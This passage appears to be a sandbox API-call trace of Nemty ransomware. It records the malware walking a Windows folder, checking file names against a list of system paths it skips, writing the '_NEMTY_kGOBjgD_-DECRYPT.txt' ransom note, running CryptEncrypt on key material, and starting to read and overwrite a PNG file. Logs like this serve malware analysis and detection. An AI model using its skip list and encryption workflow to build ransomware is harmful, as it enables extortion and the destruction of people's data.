CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0123.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0123.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0123.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0123.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0123.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0123.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0123.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0123.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0123.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0123.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0123.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0123.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0123.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0123.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340158 [0123.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0123.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.413] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf71adc50, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf71adc50, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf71adc50, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0123.413] FindClose (in: hFindFile=0x3423a30 | out: hFindFile=0x3423a30) returned 1 [0123.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0123.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94218 | out: hHeap=0x4f90000) returned 1 [0123.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0123.414] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="CPU.Gadget", cAlternateFileName="CPU~1.GAD")) returned 1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2=".") returned 1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="..") returned 1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="...") returned 1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="windows") returned -1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="$RECYCLE.BIN") returned 1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="rsa") returned -1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="NTDETECT.COM") returned -1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="ntldr") returned -1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="MSDOS.SYS") returned -1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="IO.SYS") returned -1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="boot.ini") returned 1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="boot.ini") returned 1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="AUTOEXEC.BAT") returned 1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="ntuser.dat") returned -1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="desktop.ini") returned -1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="CONFIG.SYS") returned 1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="RECYCLER") returned -1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="BOOTSECT.BAK") returned 1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="bootmgr") returned 1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="programdata") returned -1 [0123.414] lstrcmpiW (lpString1="CPU.Gadget", lpString2="appdata") returned 1 [0123.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CPU.Gadget", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0123.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CPU.Gadget", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPU.Gadget", lpUsedDefaultChar=0x0) returned 10 [0123.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CPU.Gadget", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0123.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CPU.Gadget", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPU.Gadget", lpUsedDefaultChar=0x0) returned 10 [0123.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94380 [0123.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94308 | out: hHeap=0x4f90000) returned 1 [0123.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94218 [0123.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0123.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0123.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0123.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0123.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0123.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0123.415] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0123.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0123.419] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.419] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0123.420] CloseHandle (hObject=0x1e8) returned 1 [0123.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0123.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94218 | out: hHeap=0x4f90000) returned 1 [0123.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94218 [0123.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94290 [0123.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94308 [0123.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0123.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0123.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0123.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0123.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0123.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0123.422] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0123.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0123.422] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.423] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0123.423] CloseHandle (hObject=0x1e8) returned 1 [0123.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0123.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94308 | out: hHeap=0x4f90000) returned 1 [0123.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94308 [0123.424] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xfd346250, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfd346250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a30 [0123.424] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0123.424] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xfd346250, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfd346250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0123.424] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0123.424] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0123.424] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8538749b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8538749b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29088439, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4f1c, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="drag.png", cAlternateFileName="")) returned 1 [0123.424] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1 [0123.424] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1 [0123.424] lstrcmpiW (lpString1="drag.png", lpString2="...") returned 1 [0123.424] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1 [0123.424] lstrcmpiW (lpString1="drag.png", lpString2="$RECYCLE.BIN") returned 1 [0123.424] lstrcmpiW (lpString1="drag.png", lpString2="rsa") returned -1 [0123.424] lstrcmpiW (lpString1="drag.png", lpString2="NTDETECT.COM") returned -1 [0123.424] lstrcmpiW (lpString1="drag.png", lpString2="ntldr") returned -1 [0123.424] lstrcmpiW (lpString1="drag.png", lpString2="MSDOS.SYS") returned -1 [0123.424] lstrcmpiW (lpString1="drag.png", lpString2="IO.SYS") returned -1 [0123.424] lstrcmpiW (lpString1="drag.png", lpString2="boot.ini") returned 1 [0123.424] lstrcmpiW (lpString1="drag.png", lpString2="boot.ini") returned 1 [0123.424] lstrcmpiW (lpString1="drag.png", lpString2="AUTOEXEC.BAT") returned 1 [0123.424] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1 [0123.424] lstrcmpiW (lpString1="drag.png", lpString2="desktop.ini") returned 1 [0123.424] lstrcmpiW (lpString1="drag.png", lpString2="CONFIG.SYS") returned 1 [0123.424] lstrcmpiW (lpString1="drag.png", lpString2="RECYCLER") returned -1 [0123.424] lstrcmpiW (lpString1="drag.png", lpString2="BOOTSECT.BAK") returned 1 [0123.425] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1 [0123.425] lstrcmpiW (lpString1="drag.png", lpString2="programdata") returned -1 [0123.425] lstrcmpiW (lpString1="drag.png", lpString2="appdata") returned 1 [0123.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0123.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0123.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0123.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0123.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0123.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0123.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0123.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0123.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0123.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94308 | out: hHeap=0x4f90000) returned 1 [0123.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0123.425] Sleep (dwMilliseconds=0x5) [0123.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xfd392510, dwHighDateTime=0x1d561e7)) [0123.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xfd392510, dwHighDateTime=0x1d561e7)) [0123.440] GetLastError () returned 0xb7 [0123.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0123.441] GetLastError () returned 0xb7 [0123.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0123.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.441] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0123.441] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0123.441] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0123.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340158 [0123.441] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340158, pcchString=0x653ec5c | out: pszString="r7J+5ewOPwBsfc73CT7aBo0e0f2LEEXseMIluP756DEUgUJdMpz4c+BTXOXhx1Us\r\nDMuFA8WjQl7EeLgcOEn6ZuIbhQd/K0YuYZDq+9DkQNUBwJSFwXq7eIGNj9vPFg51\r\nl2azPG4yIJN0gUug6GcEUxqm/SLtVxcYxDj264rbguq24SZFe7NPVv2bknwBCqar\r\n/NbIltwh3mi1fuY4Ult+XVCIWR+7CRdr47cMcO2a0f+GlYX6zA9+snLnPJFHhZ1N\r\nt1NW7mk5BIbS35TELXQ5xNeINWSMto4F2Vwg9rglAIf7/C953iQ2JtZp9Z+AoIYq\r\nxUP10YVLl0Bx7SntLaiZgA==\r\n", pcchString=0x653ec5c) returned 1 [0123.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0123.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0123.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0123.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340158 [0123.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0123.441] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\drag.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0123.441] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0123.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0123.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.441] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.451] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.451] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, 